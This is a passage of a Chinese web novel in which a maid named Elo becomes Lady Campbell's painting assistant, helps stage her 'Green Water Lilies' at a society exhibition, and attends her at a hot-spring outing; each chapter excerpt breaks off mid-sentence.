果然，颜色还没试好呢，坎贝尔夫人就发现不对劲儿，要把晨袍脱掉。但约根纳站在一边，坚持不许。 僵持了一会儿，坎贝尔夫人放弃了，只好穿着晨袍，潦潦草草的画了轮廓，就撂下笔，准备上楼。 虽然没画完，但显然对今天的灵感很是满意，坎贝尔夫人左看右看，颔首微笑：“这个颜色画出来倒是别有一番感觉。” 转过头，对爱洛说：“看来你在画画上，确实有点基础。把这些都收拾干净吧。”就带着约根纳和丽安回三楼卧室了。 爱洛看着根本没怎么用的调色盘里一大堆的颜料，一阵肉疼，这些东西可不便宜，真想把它们用光。。。 当然，也只是想想。爱洛老老实实地用绵纸擦过后，按照清洁油第一遍，清水第二遍的程序，把笔跟盘子洗净擦干后收进画箱。 顺便又仔细的研究了一遍画箱，嗯，颜色基本齐全。再看一眼只画了一半的画，下笔和布局都很讲究。 看来，坎贝尔夫人受过严格的绘画教育，并且有一定天份，还经常练习。所以，自己关于绘画方向的事业规划，是可行的吧？ 拿着清洁工具下到一楼餐厅，今天耽误了一会，米拉她们已经吃完早餐了。 自己的那一份面包和牛奶被米拉用盖子扣住放在餐桌上。见她下楼了，米拉急急忙忙地说，“快点吃吧。听说夫人一早去书房了？” “嗯，去画画了。不过就画了一会儿，就回楼上了。”爱洛回答着，洗手准备吃饭。 “我就说楼上怎么没人，原来都去书房了。看来约根纳管家也快下来了。”米拉自言自语，又让爱洛快点吃。 过一会儿送菜的布伦特就来了，还有很多小道消息要跟他交流呢。昨天说到上次临时让罗素夫人开阅读会的那位小姐，原来是从意大利来的，还带来了一堆歌剧剧本，所以最近常常聚会。但坎贝尔夫人只去过那一次，不知道是什么原因，后来就再也没去过。 吃完早餐，帮忙核对订单后，爱洛在午餐前得到了一点自由时间。坐在餐桌前，手里拿着今天撤下来的报纸，心里却在想着别的事情：“怎么才能让坎贝尔夫人同意让我使用她每次用不完的颜料呢？纸从哪里来呢？” 爱洛呆呆坐着默默盘算，根本没注意到约根纳什么时候下来的。平日里的这个时间，约根纳不是在大厅处理事情，就是在楼上跟坎贝尔夫人商量事情，是绝不会在一层餐厅出现的。因此，好一会儿了，才感觉自己被人盯着。抬头一看，约根纳正目光炯炯地看着自己。 被吓了一跳，爱洛干巴巴的开口道：“约，约根纳夫人，您下来了。” “你在想什么呢？”约根纳开门见山。 “额，我在心痛早上扔掉的颜料。”爱洛也没有找借口，不假思索的回答。 “呵呵，这孩子。”米拉正好端茶壶进来，听见了，笑出声来，“坎贝尔家可不缺颜料，夫人名下有好几家颜料店呢。” “啊，这个，我是第一次听说。颜料的质量都很好，颜色也很正。”爱洛无语，只能这样回答。 “爱洛说的也没错，确实都是挺好的东西。”约根纳说道：“我们店里的颜料要么是自己工厂制造的，要么是从国外进口的，质量都是很有保证的。”看了爱洛一眼：“夫人说，以后她画画的时候，你就跟在身边。” “是，约根纳管家。”爱洛有点结巴了，这是升职还是兼职啊？也不敢问，只好给自己宽心：“从时间上来说，工作时长比现在多。但是，跟在夫人身边肯定能学到好多东西。至不济，回头捡点要扔掉的纸也可以画几笔。” 就这样，爱洛身为书房清洁女仆，兼任了绘画助理。是的，绘画助理。她自己都没想到，刚刚自己还在绞尽脑汁地想要达成的目的，一晃眼，竟然这么轻易地就解决了。 是莫奈的灵魂尾随跟来了这个时空么？ 从这天起，坎贝尔夫人画画的时候，爱洛就会跟在她的身边，本来是做好了洗笔女仆的准备。没想到，坎贝尔夫人的确是对爱洛另眼相看，每次动笔前，就很愿意跟爱洛交流想法。爱洛关于绘画的一些认知，误打误撞的成为自己天份的佐证，坎贝尔夫人的灵感来源。 渐渐的，爱洛偶尔能在递笔铺纸的时候，帮忙调色了，成为了事实上的绘画助理。还不时地能用到撤下的画笔和剩下的颜料画上几副简图，找找手感。 前后加起来，她得有小二十年没拿过画笔了。理论知识是很丰富，但手上的功夫还是得一点一点的磨出来。 手上有 24. 重拾画笔 [] 额，想到这个，爱洛有点心虚。 因为距离以前学油画实在是太久了，本来也只是学了三、四年，只记住了主要的流派理论和各自的基础技法，更高端一些的技巧都有点模糊不清了。 而这本印着“当代女子绘画最高水平代表“”的绘画指南，真的是各方面都非常适合现在的爱洛。所以，她就不由的经常去翻看，估计早就被坎贝尔夫人发现了吧。 解锁新技能书的爱洛心情愉悦，跟在坎贝尔夫人身后，帮她把这幅画装进画框，为月底要在银湖温泉开的小型绘画作品鉴赏会做准备。 就这样，爱洛神奇的在坎贝尔公爵夫人位于拜阿斯城的别墅里开始了自己女仆+美术生+绘画助理的生活。 每天，清洁整理书房，阅读收纳的报纸，为时常心血来潮的坎贝尔夫人打下手。除此之外，爱洛还能抽出1到2个小时练习绘画。 根据《林湖绘画》这本书，从线条开始，到构图，空间，色彩，布局，爱洛算是再次系统的复习了一遍油画的基本功。 好在有过学习多种绘画技能的经历，面对这本与后世油画有显著区别的绘画指南，爱洛调动自己博采众家之长的隐藏技能，才在不久后的临摹中找到了手感。 不放过一点空闲的爱洛，最近都在忙于练习，连与米拉大婶的八卦时间都少了很多。当然，进步也是肉眼可见的。 从一开始下笔都有点不知所措，临摹连运笔都忘记了的状态，到现在完全找到感觉，偶尔还能自己构图的现状，爱洛是真心觉得，自己的确是有那么一点绘画天份的。 来之不易的机会，让爱洛注意力更加集中，理解力也更上一层楼。不到两个月的时间里，爱洛已经把这本绘画指南从头到尾临摹了一遍。 偶尔练习的时候，被坎贝尔夫人注意到，发现她进步飞速，就特别允许可以去花园写生。临摹的画作只是证明了她的确有基础，要让画作有灵魂，还是要通过观察世间万物来打动人心。 得到允许的这天，吃完午饭，爱洛没像往日那样留在厨房帮忙或者聊天，而是兴冲冲的戴好遮阳帽，到花园里去逛逛，找一找写生的目标。 之前，爱洛也曾经来过后花园，都是干活的时候经过，从未有机会悠闲的逛过，或者长时间的待在里面。因此，当她满心期待地走进有些萧索的花园时，看到倔强开放的鲜花和没有凋零的绿树，在冬日的阳光下闪着金光。 “拜阿斯城的气候真是好啊，难怪有钱人都来这里过冬，明明已经快十二月了，花园里依旧姹紫嫣红的。”美美地吸了一口略凉充满草木香的空气，爱洛这会儿站在小楼的背面左侧，面对花园的位置。 在她的右手边，一层中空是消暑的凉台，内侧顶部有彩绘的云朵画，周边的石柱刻着花纹，地面是彩色瓷砖铺成的几何图，四面透风，夏季是个好地方。现在，这里堆着冬天用不上的户外凉椅之类的家具。 往上看，则是客厅正对着花园的阳台。天气好的时候，坎贝尔夫人曾经在阳台上画过花园里的红枫树。爱洛打下手的时候从上面看过花园的全景。所以，就根据记忆顺着花园左侧的石子路向里走。 整个花园的设计是非常典型的欧式园林。高一点的花树对称排列，低一点的花丛间或种植。玫瑰，郁金香，百合，风信子等等，修剪出参差不同的造型。挨着外墙边种了一圈乔木，有的树叶凋落，有的依然苍翠，四季交错。 左侧郁金香，右侧玫瑰，中间还有一个十几种花组成的圆形花坛。从左到右，爱洛慢慢的走着，满目的颜色，扑鼻的花香，暖暖的阳关洒在身上，让爱洛温暖的都有点冒汗了。 花了一个多小时，爱洛走走停停的把花园勉强逛了一遍。很多花儿都不认识。但是，这个不重要。重要的是，对下一步的写生有了计划，就从郁金香开始吧。 郁金香正处于绽放的季节。坎贝尔家的园丁按照颜色深浅变化种植，远远看去，在视觉上有一种奇异的韵律感。 嗯，明天开始，两天一幅，从单株单色，到多株多色，最后再画一副单品全貌。 定好目标，爱洛热气腾腾地回了一层餐厅，一口气喝了两杯茶，把正在缝补围裙的米拉吓了一跳，问她：“你慢点喝，怎么这么渴了？” “嗯，我去花园里逛了。米拉大婶，我们需要鲜花吗？以后我要是去花园，需不需带点回来？”爱洛想到书房和客厅的花瓶里每天都会更换的鲜花，问道。 “鲜花是园丁天亮前就准备好，是清洁女仆负责的，你不用管。不过，要是顺手，可以折一些摆在一层，约根纳管家不会说什么的。”米拉顺口答。 “好的。”爱洛听明白了，这个有专人负责，无需自己多事。想要提高生活品质，自便。那就好，谁不想在不增加负担的情况下，过的更舒服呢？ 这样，自己写生时，也能给大家带点福利。去花园是坎贝尔夫人对自己的额外照顾，仆人们可不是谁都能随便去闲逛的。不管未来怎么样，还是要尽量跟同事们打好关系。 时间很快来到了月底，预定的拜阿斯城上流社会女性画作交流鉴赏会明天就要在银月温泉举行了。 今年兰敦的同期天气比往年低了好几度，来拜阿斯城过冬的人就格外多。加上地中海区域不太平，很多国外的贵族和富豪也纷纷避居于此，带来了别样的繁华。 所以，以往从未举办过画展这类活动的女性沙龙，也推陈出新的开展了这场名义上为多国女□□流绘画水平提供舞台，实际上是各国贵族女性展示才艺，以证明其国力和文明程度的活动。 吃完晚餐，爱洛就跟着坎贝尔夫人在书房，最后一次检查明天下午要带去银月温泉的画作。 坎贝尔夫人一共有 25. 鉴赏会1 [] 爱洛仔细地看了看丽安的辫子，是从左侧着额顶顺到右侧固定，再披散到脑后用发带绑成一股的，很有点吉普赛人的风情。 爱洛既惊讶丽安的手艺果然如她所言很不错，又不准备把自己的发型搞的很复杂，想了想说：“丽安姐姐，帮我编个从头顶开始的蝎尾辫吧。” 丽安把爱洛深金色的头发用梳子顺好，经过两个多月的养护，现在摸起来已经丝滑多了。从头顶开始，两手交错压紧，辫子不长，很快就编到尾巴，再用深红色的发带扎个小蝴蝶结。 丽安把带手柄的靶镜递给爱洛，说道：“看看怎么样。”一副很满意的样子。 爱洛接过银制的小镜子，看着这面水银镜里有点圆嘟嘟苹果脸的小姑娘，有点头晕，这谁啊？ 自己现在已经长成这个样子，不再是那个蜡黄干瘪的豆芽菜了。盯着长长翘翘的睫毛眨了眨眼睛。嘿嘿，是真的，深蓝色的眼珠里没有了彷徨，额前的刘海有点俏皮的顺着空气飞起来。 爱洛从裙子口袋里拿出两只树叶型的发卡，这是裁缝海蕾给女仆们的小礼物。把有点长的刘海分到两边，用发卡固定住。露出光洁的额头和小巧挺立的鼻梁，爱洛的脸一下子显得立体起来。 “嗯，这样更利索些，我还要搬东西干活呢。”爱洛小声的解释道。 “挺好看的。”米拉笑着夸她。 “是啊，爱洛真好看。”一直在边上围观的清洁女仆们也开口评价起来。 “额，”都没注意到这么多人围着看自己梳头，爱洛有点不好意思了，顺手开始收拾桌上的东西，把镜子放回盘子里，又招呼她们，“今天这么早就下来了？” “约根纳管家说可以下午再打扫，这会儿夫人在起居室忙着呢。”尖脸的清洁女仆妮可接过话头。 “今天要早点开饭，你们三个来厨房吧。”米拉喊三个清洁女仆去帮忙，爱洛就留在餐厅看丽安收拾东西。 把用过的东西整理完，丽安对爱洛说：“我们两个一会儿先吃饭，然后去楼上等夫人，午餐后喝完茶就要出发。这会儿发型差不多了，我该上去给夫人换衣服了。” “好的，谢谢丽安姐姐，辫子梳的真好。”虽然很自信，但听到来自爱洛的赞扬，丽安还是翘起了嘴角，点点头，托着盘子回楼上了。 虽然照应第一次出门的爱洛是约根纳管家的安排，但能得到感谢，丽安的心情很好。 今天开饭果然早，不到11点，仆人们的午餐就已经结束了。爱洛又回房间打理了下自己的个人卫生，穿上外出的小羊皮靴，又把那件新款带帽披风取出来拿着。 这几天都是阴天，外边也起风了。晚上回来的晚，披风肯定比外套更御寒，这件今年最流行的女仆披风，头一回派上用场。 上了二楼，见到坎贝尔儿夫人正在餐厅用餐，爱洛把手里的衣服放到门厅的柜子上，站在门口等着。 等坎贝尔夫人喝完茶，又回三楼卧室整理妆容，再穿着薄款的皮毛大衣下来时，已经快下午一点了。 约根纳让早已在一层等候的几名男仆上来搬画，男仆们是临时从坎贝尔家的本地商行借来的，家里的妇孺老弱可干不了搬东西的活儿。 爱洛看着男仆们把用厚纸板包了两层的三幅油画小心翼翼抬下楼，放在马车的座位上，用绳子固定好。然后自己上手去试了一下，不晃。 坎贝尔夫人的马车比较宽大，两排三人对座的黑漆钢架马车，嵌花玻璃门的车厢，里面最多可以坐六个人。 所以，三幅画放在一侧座位上，还能挤出一个人的位置去扶着，这个活就是爱洛的了。 随手穿的披风，没戴帽子，在屋子里待久了，冷不丁的走到户外的院子里，还略有点凉飕飕的。 爱洛检查完牢固程度后，就先一步上了马车，坐在了靠门的位置，背对着车夫。右手搭在画上扶着，以避免马车行进的时候磕碰了。 一直站在二层廊檐下盯着搬运的坎贝尔夫人，这才走下来上了马车，约根纳和丽安则是一左一右的坐在她身边。 见车厢门关好了，约根纳敲了敲扶手，车夫一扬鞭，两匹棕色高头大马拉着马车缓缓朝大门走去。 马车出门右拐，上了鸢尾花街的宽石板路，速度逐渐加快。车内没人说话，爱洛好奇看向窗外。她来到坎贝尔家快三个月了，这还是第一次走出大门呢。 这个时节的鸢尾花街，和来时秋天的景色已经大不一样了。绽放的花朵少了很多，但依然还有在寒风中摇曳的黄色丁香花和粉色蔷薇，一眼望过去星星点点。 路边的树木落叶纷纷，满地的金黄铺了厚厚的一层，车轮压在上面发出脆响，一阵阵的风吹过，卷着半碎的树叶向远处翻滚而去。 现在走的这条路，和爱洛来时经过的路方向相反，马车是往城市的更北面驶去。 银月温泉因坐落在城北的银树山脚下而得名。银树山，漫山遍野长满了笔直的桦树，拜阿斯的阳光四季浓烈，照在发白的树身上银光闪闪，被人们称为银树山。 温泉本是围着地下硫磺矿脉涌出的热泉所建，多年前被来自威尼斯的商人购入修成温泉别墅。几经转手扩建，形成了今天的规模，富丽堂皇，主要用于接待冬季来拜阿斯城的贵族和富豪们。 一路颠簸疾驰，大约用了一个小时，才抵达了目的地。银月温泉的占地面积非常广，从能看见一大片建筑的轮廓起，驶过了十多分钟车程的草坪，绕着开敞庭院中心的大理石喷泉走了半圈，最后停在了精美奢华的大厅正门。 穿着制服的高大侍应等在车外，坎贝尔夫人下车后，爱洛最晚一个下来，站在了丽安的身后。约根纳则指挥几个侍应把三幅画取出来，抬着准备进大厅。 盯着侍应取出画之后，坎贝尔夫人才转身，这时，里面走出来一位贵妇人，身边跟着一个长裙侍女。 梳着高盘发，带着钻石发冠的贵妇人穿着大红色玫瑰花朵的拖地裙，撑起来的裙摆摇摇晃晃，黑色的裙边若隐若现。 看到坎贝尔夫人进来，贵妇人立马大笑，伸手就要拥抱，嘴里高声说着：“我可盼着看你的新作很久了，你就是 26. 鉴赏会2 [] 坎贝尔夫人点头，看向约根纳。约根纳指挥抱着画作跟在身后的侍应，让他们把手里的画分别放在三张拼成倒“凹”字型的矮桌上，然后示意爱洛和她一起来拆包装。 爱洛解下披风，递给了等在一旁温泉侍女，上前拆掉左边桌上画作的外包厚纸，让侍应左右扶着把画立起来，再由后面的侍应用木杆撑住。调整了一下角度后，看向站在正面的坎贝尔夫人，见她没说什么，才让侍应把画作固定住。 右边桌上的画作如法炮制，立起来时左右很是对称。拆到最后一幅画时，约根纳让爱洛停手，用刚抬过来的一张高桌替换掉中间的矮桌，自己动手把那副《绿色睡莲》挪到了位置。 拆开外包装后，让爱洛和丽安扶着，坎贝尔夫人亲自上手调整角度，折腾了好一会儿，才把这幅画安置明白。 站在最外侧的罗素夫人似笑非笑，看向坎贝尔夫人道：“难怪最近你都不怎么出门，原来是画了一副佳作。啧啧，我看，有人要嫉妒的眼睛发红了。” 坎贝尔夫人瞟了罗素夫人一眼，说道“什么佳作不佳作的，就是有点灵感罢了。” 罗素夫人摇摇头，也没再说什么，只是让温泉侍女看着点，就带着坎贝尔夫人去小客厅喝茶聊天了。 基本上，画作放在这里，就算是布展完毕了。根据刚才罗素夫人的说法，如果愿意，现在就可以去参观展出的作品了。等晚餐前，所有的画作都齐了以后，品鉴会就算开始了。 品鉴会是与晚餐同时举行的。吃晚餐的时候，愿意分享心得的人自行站在前面讲话，其他人随意听着就是了。不算太严肃的形式，娱乐性大于竞争性。 这会儿已经有三三两两的人在到处看着展出的作品了，刚才爱洛她们摆放的时候就来了好几拨，还有人惊讶的问东问西。不过大家都忙着，也没有谁跟别人细聊。 坎贝尔夫人也想快点欣赏别人的作品。但这会儿有好几个地位高关系近的夫人已经到了，她必须先去打招呼，聊会儿天才能抽出空来。 约根纳和丽安都得随时跟在坎贝尔夫人身边，爱洛就被留在了展位上照应。 等她们去了小客厅，爱洛收回视线，望着自家的展位，准备站到正面桌子的侧边去时，刚才接过披风温泉侍女凑上前一步，跟爱洛说道：“小姐，您的披风我已经送到门厅的挂衣间了。我会跟在您的身边，有什么需要，跟我说就行。” “额，那个，我不是什么小姐，我是坎贝尔夫人的女仆。”爱洛汗颜，没办法舔着脸当个上等人，只好这样回答。 “噗嗤”一声，温泉侍女笑了，脸上的笑容更亲切了，“瞧您说的，只要是来的客人，都是小姐和夫人。” “好吧。”爱洛无奈的点点头，示意温泉侍女跟她一起站到正面桌子的侧边，把看画的空间让出来。 就这两句话的功夫，已经有好几位穿着华丽的夫人走近了：“天哪，我看到了什么？这个签名是卡罗琳·坎贝尔吗？这是她画的？”一位微胖的夫人嚷嚷着，使劲地拉着另一位年长的夫人的胳膊说道。 “呵呵，你总是跟她较劲干什么？”年长夫人温和地说。 “就是不爱看她那副什么都会的样子。”微胖的夫人撇嘴。 后面跟着一位个子高挑的小姐，带着一个侍女在附近转悠着。听见这两个人的对话，好奇地走进来，一眼就看到了摆放的比其他的画作都要高的绿色睡莲，眼睛都睁圆了：“我在外边看着，还以为是棵树，没想到竟然是棵睡莲。这个世界上还有绿色的睡莲吗？” 一位花白头发，穿着暗花深色衣裙的老妇人走过来，听见高个子小姐的话，笑了起来，“睡莲有很多品种跟颜色，我们没见过，那它也许是生长在别的地方，不是说它就不存在。” 高个子小姐听了，连连点头：“是的是的，上个月我在兰敦的画展上见到了一副蓝色的玫瑰，以为是什么奇怪的想象力。结果，说是法尔西帝国去年出的新品种呢。” 就着画的内容，这两位不怎么熟悉人很快攀谈起来，让里面的两位夫人有点尴尬，只好往外走。又正好碰上想走进来仔细看画的几位夫人。一时间，这个摆了三幅画的展位竟然被挤得有点水泄不通。 爱洛见坎贝尔夫人的画很让参观者眼前一亮，心里有点得意：“绿色睡莲可是后世大名鼎鼎的莫奈的名画。虽然技法和意境都不同，但就这个灵感，放在哪里都是妥妥的。” 衣香鬓影的女士们出出进进，爱洛只需要在旁边站着，偶尔会有人问作者是谁，她直接报上名号就行，不算忙，但也不敢离开。温泉侍女问她要不要喝点茶休息一下，她也直摆手，一点儿也没溜号。 过了好长时间，爱洛才看见坎贝尔夫人带着丽安从小客厅出来，往自己这边走来。打起精神，对坎贝尔夫人说道：“夫人，刚才有很多人打听作者是谁，还有人询问是否出售。” 坎贝尔夫人眯着眼睛嫣然一笑，眼角本不明显的皱纹都露出来了，语气轻快地说：“当然是非卖品。这副画我可是要带回兰敦去，挂在客厅里的。”嗯，好不容易画出了一副人人夸赞的睡莲图，只在拜阿斯城展示怎么能行呢？必须带回首府好好炫耀一番。 “爱洛，你跟我到处走走。丽安，你在这里待着。”坎贝尔夫人对两个女仆吩咐道。 丽安不用跟着到处看画，很是高兴。本身她也不懂，有时候坎贝尔夫人问句话，她接不上，总是冷场，压力很大的。 爱洛就更高兴了，能欣赏参展作品，约等于后世的公费参加展会，长见识，还有好吃的，不是高级管理人员可是享受不到的。 跟在坎贝尔夫人身后，走马观花的看完了参展的大部分作品。总体的观感来说，以人物为主，景物画也有一部分。但可能囿于出行的条件，多是小型植物花卉等，并没有大幅的风景画。 想来也是，作者虽然都是受过专门教育的女性，但绘画也只是个人爱好。既不存在以此为业的人，夫人和小姐也不能随意出远门， 27. 温泉 [] 丽安不知道从哪里冒出来，端着盘子一屁股坐在爱洛身边的石阶上，抱怨道：“我刚看见你，一转眼就不见了。” 爱洛嘴里含着鸡肉，含含糊糊地说：“啊，我没注意，快趁热吃，外边温度有点低。” 丽安瞪了爱洛一眼，见她忙着吃东西，自己也不好再说什么，抓紧跟还冒热气的烤肉较劲。这个时节，坐在台阶上吃饭，虽然有意境，但的确有点冷了。 一气儿吃完，爱洛问道：“我去拿蛋糕和水果，你都要么？” 丽安咽下嘴里的最后一口滋滋冒油的肉块，说道：“不要了，我去喝柠檬水。”两人正要站起来，侧面走来一个手里端着盘子的人，是伊薇。 “爱洛，你在这儿呢，我找了你半天。来，刚出炉的蜂蜜蛋糕，还有新鲜的草莓，快尝尝。这个要手快才能抢到，嘻嘻。” 丽安好奇地看了伊薇一眼，爱洛连忙介绍两人认识。丽安跟伊薇颔首，起身去屋里喝水了。 爱洛接过伊薇递过来的盘子，问道：“你吃了没？一起吃吧。” 伊薇回答：“没吃呢。现在还不是我们吃饭的时候。要等客人们都离开才能吃呢。” 爱洛拿起棋子大小的蛋糕，塞进伊薇的嘴里，说道：“那你先垫垫，我看离结束还早。” 伊薇朝爱洛笑了一下，抿着嘴把蛋糕咽下去，偷偷说道：“估计快了，好多人想上去发表看法，排不上队不说，说着说着还有跟下面吵起来的。组织品鉴会的夫人们刚刚决定，画作可以一直在这里展览到圣诞节前。今天就到这里了，想要分享心得的人，自己在家里举办沙龙好了。” 啊，这。。。要发帖的人太多，服务器宕机了？所以就让各人找场地开话题了呗？ 爱洛听说了品鉴会最新进展，就和伊薇把小蛋糕和草莓分着吃了。两人相约要找机会再见面，爱洛就赶紧回小厅里找到丽安，告诉她这个最新消息。 丽安正端着一杯果酒和一个女仆聊着温泉泡澡的事情，看见爱洛进来以后东张西望，连忙走过去，问她：“找什么呢？” 爱洛见了丽安，松了口气，说了自己刚听说的消息。然后，丽安一口喝完手里的果酒，拉着爱洛找到盥洗室，漱了口，两人又互相整理了头发和衣服，再回到餐厅的门口，等着坎贝尔夫人结束用餐。 在餐厅门口没等多久，就听见里面“叮”的一声脆响，晚餐结束了。 丽安带着爱洛，顺着墙壁走到坎贝尔夫人的身后，对站着的约根纳略微做了个口型，表示她们已经吃过了。约根纳点头，等着坎贝尔夫人跟坐在隔壁的罗素夫人道别后离开。 一路上纷纷扰扰的跟好些人打过招呼，坎贝尔夫人才带着几人回到了之前展画的大厅，抿着嘴看了半天，对约根纳说：“我可不放心这里的环境。嗯，把《绿色睡莲》带走，另外两幅就留在这里吧。” 爱洛和丽安得到吩咐，上前找出之前收在桌子小抽屉里的包装纸，七手八脚的把睡莲图包好。约根纳又叫来一个侍应抱着画，直接带画回家。 刚走到展厅门口，一直等着的几个温泉侍女眼疾手快地递上各自的外衣。穿好披风，爱洛都没来的及跟伊薇告别，就被丽安催促着，匆匆跟在管家身后向外走去。 一行人走到正门口时，家里的马车已经大开着车厢门停好，约根纳扶着坎贝尔夫人的手，正要上车，一位打扮地花枝招展的夫人摇着一颤一颤的臀部走过来，不客气地说道：“卡罗琳，你还要把画带回去？被嘲笑了吗？” 坎贝尔夫人一看，是跟自己交情普通的波拉克，语气淡淡地：“我要带回去挂在我家的大客厅。在这里一放好几个礼拜，温泉水汽这么大，坏了怎么办。” 波拉克撇撇嘴，扭头走了。爱洛借着不太亮的路灯瞅了一眼，这不是之前那位说不乐意见到坎贝尔什么都会的微胖夫人么？这是没事儿也要找机会讽刺两句，得有多重的嫉妒心呐！ 回去的路上，坎贝尔夫人低垂着眼皮，声音暗沉，跟约根纳交代：“说是品鉴，其实是兰敦的议会明年选举，各家夫人都在使劲，所以画作赏析成了宣传会议。我可不凑这个热闹。最近除了几家经常来往的，其他的宴请都回绝了。” 约根纳的回答很干脆：“是的，夫人。” 爱洛第一次听到这种跟时局有关的消息，不由地有些惊讶。看了约根纳一眼，见她只是低头在想什么，只能暗自思索:“估计坎贝尔夫人还是有一些影响力的，所以，不愿意掺和这些事。是坎贝尔先生的缘故吗？也没听谁提到过，不知道是什么情况？” 八卦之心嘛，谁还没有个亿点点呢？ 回到家，时间已经不早了。坎贝尔夫人上楼休息，丽安跟上去照应。约根纳则是和爱洛一起，把带回来的睡莲图送回书房放好，才各自回房休息。 第二天早上，爱洛差点起晚了。好久没有这么晚睡，一时间还有点不适应。幸亏米拉在走廊里大声的说了句什么，才把爱洛吵醒。 洗漱过后去餐厅，爱洛先给自己倒了杯热水喝，然后和米拉简短的聊了两句昨晚几点回来的事，就上楼干自己的活了。 吃早餐的时候，丽安兴高采烈地描述昨天参加品鉴会的事，偶尔米拉会问两句，爱洛没多嘴，就埋头吃自己的肉肠三明治。这个时候么，要把舞台留给资深员工，自己做个小透明就好。 日子就这样波澜不惊地过去了一个多星期。这期间，坎贝尔夫人收到了很多宴会邀请，无一例外地都被约根纳管家回信拒绝了。 所以，最近忙碌了很多的管家大多数时候都在楼上。爱洛也更自在了，天气虽然一天天变冷，但她整天干完自己的活就可以找机会画几笔，要么就是看书看报，简直不要太舒服。 根据能量守恒定律，毫无疑问，舒适的日子总是短暂的。 没过几天，坎贝尔夫人和罗素夫人就相约去泡温泉。 这天温度很低，天气阴沉，看着像是要下雪，但约定的聚会并没有取消，约根纳按部就班地吩咐丽安装好要用的衣物，自己也忙着清点要带的物品。 但是不巧，一早起来，丽安得肚子就不舒服，一时也不见好转。想到在温泉里总归是不方便，坎贝尔夫人就临时决定让爱洛充当贴身侍女。 反正温 28. 玫瑰画 [] “呵呵，是呢。我把披风放到门口的接待处，你走得时候穿起来更方便。”伊薇笑嘻嘻地说。 “嗯，我这是第一次来，什么都不太清楚。这么大的温泉，怎么这么巧又碰见你了呢？”爱洛有点不明白。 “我是温泉的一等侍女，专门为罗素夫人服务的。所以，她组织的活动，基本上都能看见我。”伊薇解释道。 “哦，我就说嘛。”爱洛了然地点点头，大客户经理，专为VVIP服务的。 四处看了一下，这间换衣室位于大厅的右侧，一排有七、八间屋子的门一模一样，大概这一侧是换衣室的位置。大厅左侧也有一排对称的房间，不知用途。 进门正对着一处人造瀑布，瀑布背后是休息区。之前罗素夫人和她的宾客正是在那里喝茶聊天，这会儿人都已经不见了，估计已经进去温泉了。 再往里看，刻花深色的木质对开大门关着，里面应该就是室内汤池的区域，从那里，可以通往室外的露天浴区。 伊薇说的接待处，在大厅的门口，爱洛站在现在的位置，有一排长柜，用来挂衣服。 匆匆看了一眼室内布局，爱洛跟伊薇打过招呼，又转身进了换衣室，在等候区待着，听候吩咐，以便约根纳随时能找到自己。 这会儿换衣室的温度更高了，白气氤氲。流水声停了下来，坎贝尔夫人裹着浴巾，包着浴帽，从淋浴间出来，在方形软凳上坐下。 早已等候在一边的高个子侍女走上前去，手指翻飞的把半湿的头发拆开，先编成一股，再重新挽高一些，用宽发带紧紧的扎了两圈，系好后，又用宽边花纹纱网把刘海撩上去，从额头向后，连同盘起来的头发一起罩住。 目测这是泡汤专用发型，刚才匆匆一撇的几位喝茶的女士也都是这幅打扮。 坎贝尔儿夫人换上一条半长的白色丝绸衬裙，套上镂花外裙，又披上粉色的天鹅绒浴袍，还让约根纳给她画了个淡妆之后，这才算是准备好了。。。 “先去室内的玫瑰池，送一瓶苹果冰酒进来。点心先不着急，等要的时候再送。”坎贝尔夫人一边系着浴袍的腰带，一边吩咐道。 “是，夫人。”高个子侍女低头答应。爱洛则安安静静地跟在约根纳身后，重新回到大厅。 大厅内，汤池门的两侧站着两个侍女。见她们走过来，连忙拉开刻花木门，伴随着玫瑰香气和笑声，一阵水汽铺面而来。 走进大门，一整面拖地多层白色纱帘遮住了视线。往侧面走了一小段路，避开大门正对的位置，就看见一个侍女穿着单层布裙，站在帘缝处等着。 见坎贝尔夫人过来了，侍女屈了屈膝盖，伸手拉开帘子，露出一个小小的缺口，让她们从这儿进去。 进了纱帘里面，就是一个圆形的室内汤池，目测直径有25-20英尺，面积并不小，用锈红色的花岗岩砌成的，一圈平缓的阶梯，层层的深入池底。 这么大的汤池，只有三、五个人使用，就显得很是空旷。罗素夫人和她的表姐正垫着浴巾半躺在一处台阶上聊天，哗哗的出水声，掩盖了聊天的内容，只能听见模糊不清的声音。没见两个女孩子的身影，估计不爱跟大人一起待着，自己玩水去了。 坎贝尔夫人脱掉浴袍，双脚踩着温热的池水，走进温泉，挨着罗素夫人坐下，懒懒地问：“说到谁了？我怎么听见在谈琼斯家的事呢？” 罗素夫人的表姐，赫维伦·约翰逊一下子来了精神，隔着罗素夫人高声笑道：“卡罗琳，你可不知道，琼斯家可是倒大霉了。” “怎么回事？”坎贝尔夫人无可无不可的回应道。 “还能怎么回事，不过是她家的船在大西洋上遇到飓风，沉了两艘。”罗素夫人嫌弃地说：“运黑奴去美洲，又不是什么好生意，沉了活该。” 坎贝尔夫人不在意地说道：“估计就是损失两艘船，对她家也不值什么。” “不光如此，” 赫维伦急忙开口：“据说她家的船是抵押给银行，融资买了别家股票的。这次的飓风影响很多行业，股票也是大跌，里外全赔。” 赫维伦捂着嘴咯咯笑起来。 “整日里仗着家里有船队，到处找茬，难怪这几天没听见萨德森·琼斯的消息了。”罗素夫人轻蔑地说：“三天前回兰敦了，拜阿斯城里能安静一段时间了。” 夫人们聊着各家的八卦，爱洛就站在温泉边上，约根纳不知道去哪儿了，刚才一进纱帘就没见她人了。 蒸汽弥漫的汤池内，温度越来越高，泡温泉的人影摇摇晃晃的，爱洛听着逐渐低沉下去的声音，感觉有点困了，竟然恍惚了一下。 “忽”地一阵凉风让她清醒了，是高个子侍女送了苹果冰酒进来。爱洛看着她把酒打开，倒进透明的大号圆肚玻璃酒杯里，放到夫人们靠着的台阶上。 泡的热乎乎的时候喝一口沁凉的冰酒，真是享受啊！这会儿热的小脸红扑扑的爱洛咽了咽口水，一个声音在她的耳边响起:“去边上找地方待着，夫人一会儿还要去室外，需要了会喊你，注意听着就行。” 是换了一身轻薄暗色纱裙的约根纳，她会一直待在坎贝尔夫人身边。刚才，爱洛看见罗素夫人的女管家也在池边坐着，这种夫人聊天的场合，管家们都不会离得太远，贴身侍女们在这里，确实没什么用武之地。 爱洛跟着高个子侍女转到了纱帘外边，才透了一口气。发现自己是站在了圆形汤池的外围。光线不太亮，地上是滑溜溜的黑石板，走起来需要小心一点。 顺着石板路没敢走太远，估摸着绕到了圆形汤池的另一侧，爱洛就听见纱帘后面有女孩子大笑的声音，是赫维伦的两个女儿，一个10岁出头，一个13、4大小，不跟大人们待在一起，小淑女们 一点想法 